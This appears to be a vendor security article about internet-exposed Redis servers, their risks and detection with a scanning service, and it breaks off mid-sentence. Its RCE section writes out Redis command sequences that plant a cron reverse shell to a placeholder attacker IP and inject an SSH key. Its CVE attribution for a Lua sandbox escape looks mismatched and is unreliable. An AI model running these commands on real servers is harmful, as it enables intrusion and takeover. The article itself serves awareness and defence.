Redis Servers Open to the Internet: Security Risks and Detection

Redis servers exposed to the internet represent a critical security vulnerability, often leading to data exfiltration, unauthorized access, and remote code execution (RCE) due to misconfigurations such as absent authentication or default password settings. These instances, which are essentially redis open internet ports, become prime targets for opportunistic attackers seeking to compromise systems, deploy cryptocurrency miners, establish persistent backdoors, or leverage them for further lateral movement within a network.

The Allure of Exposure: Why Redis Instances Go Public

Redis, an open-source, in-memory data structure store, is widely used as a database, cache, and message broker. Its speed and versatility make it indispensable for modern applications. However, its default configuration, which typically binds to 127.0.0.1 (localhost), is often overlooked or intentionally altered for convenience, pushing instances directly onto the public internet. This happens for several reasons:

• Misconfiguration: Developers or administrators might uncomment or remove the bind 127.0.0.1 directive in redis.conf to allow external connections without fully understanding the security implications. If requirepass is not enabled, the server becomes entirely unprotected.
• Lack of Network Segmentation: Placing a Redis instance directly within a publicly accessible subnet without proper firewall rules or network access control lists (ACLs).
• Development vs. Production Blind Spots: A Redis server might be deployed in a development environment with relaxed security for ease of access, then inadvertently promoted to production without hardening.
• Cloud Provider Defaults: While most cloud providers offer private networking by default, users can easily misconfigure security groups or firewall rules, exposing Redis ports.

This phenomenon isn't unique to Redis; we've seen similar issues with other database technologies. For example, our research on Exposed MongoDB Databases: How Many Are Open on the Internet and Elasticsearch Exposed: Finding Unsecured Clusters with Zondex highlights a pervasive problem where critical data stores are left wide open.

Grave Security Risks Posed by Exposed Redis Servers

When a Redis instance is openly accessible without proper authentication, the risks are immediate and severe. Attackers can leverage the full suite of Redis commands to manipulate the server and, often, the underlying system.

Data Exfiltration and Unauthorized Access

Attackers can connect directly to the Redis server and use commands like KEYS * to enumerate all keys, GET <key> to retrieve data, or HGETALL <hashkey> to dump entire hash sets. This allows for the theft of sensitive information, including:

• User session tokens
• Application configuration data
• Personally identifiable information (PII)
• API keys or credentials
• Cached database query results

Even if data isn't immediately sensitive, its compromise can lead to broader system impacts or privacy breaches.

Remote Code Execution (RCE)

The most critical threat posed by an exposed Redis server is often Remote Code Execution. Attackers can chain several Redis commands to execute arbitrary code on the host system. Common RCE techniques include:

1. CRON Job Injection: Attackers can write malicious CRON job entries directly to /var/spool/cron/crontabs/root (or another user's cron file). Redis allows writing arbitrary data to files using the CONFIG SET dir and CONFIG SET dbfilename commands, followed by SAVE.

   redis CONFIG SET dir /var/spool/cron/crontabs CONFIG SET dbfilename root SET 1 "\n* * * * * bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1\n" SAVE

   After SAVE, the root user's crontab will include the malicious entry, granting a reverse shell.

2. SSH Key Injection: Similar to CRON jobs, attackers can write their public SSH key to the .ssh/authorized_keys file of a user on the system, gaining direct SSH access.

   redis CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SET 1 "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt... <ATTACKER_KEY>\n" SAVE

3. Lua Sandbox Escapes: Older versions of Redis (e.g., prior to Redis 6.0.10 and 5.0.10) were vulnerable to Lua sandbox escapes (e.g., CVE-2022-24736). This allowed attackers to break out of the Lua scripting environment and execute arbitrary shell commands.

4. Module Loading (Redis 4.x+): If the loadmodule command is not renamed or restricted, an attacker can upload and load a malicious Redis module that executes arbitrary code. While typically requiring file write access first, it provides a powerful persistence mechanism.

Cryptomining and Malware Deployment

Compromised Redis servers are frequently co-opted into botnets for cryptomining operations. Attackers deploy mining software that consumes system resources, impacting legitimate services. They may also use the Redis instance to store and serve other malware payloads, turning it into a command-and-control (C2) node or a distribution point.

DDoS Amplification (Indirect)

While Redis is TCP-based and not directly prone to UDP amplification attacks like DNS or NTP, a compromised instance can be used as part of a larger botnet, storing attack configurations or serving as a relay for other attack traffic. Attackers could potentially store data used by other attack infrastructure components, leveraging the exposed Redis for command and control.

Detecting Redis Servers Open to the Internet with Zondex

Zondex continuously indexes devices, services, and vulnerabilities across millions of hosts, making it an invaluable tool for identifying exposed Redis instances. Cybersecurity professionals and IT administrators can use Zondex's powerful search capabilities to discover their own exposed assets or monitor for global trends related to redis open internet deployments.

Basic Redis Detection

The most straightforward way to find Redis instances is by searching for the product and default port (6379):

product:redis port:6379

This query will reveal all indexed devices running Redis on its standard port. The results will often include banner information, indicating the Redis version and potentially whether authentication is required.

Refining Searches for Vulnerable Instances

To identify potentially unauthenticated or vulnerable instances, you can refine your Zondex queries:

1. No Authentication Required: While Redis doesn't always explicitly state "AUTH required" in its banner if missing, you can look for instances that don't show specific security strings or try connecting with redis-cli from an exposed host to test for (error) NOAUTH Authentication required. Conversely, looking for specific versions or common misconfigurations helps.

   *A direct Zondex filter for "no auth" is challenging due to varying banner response"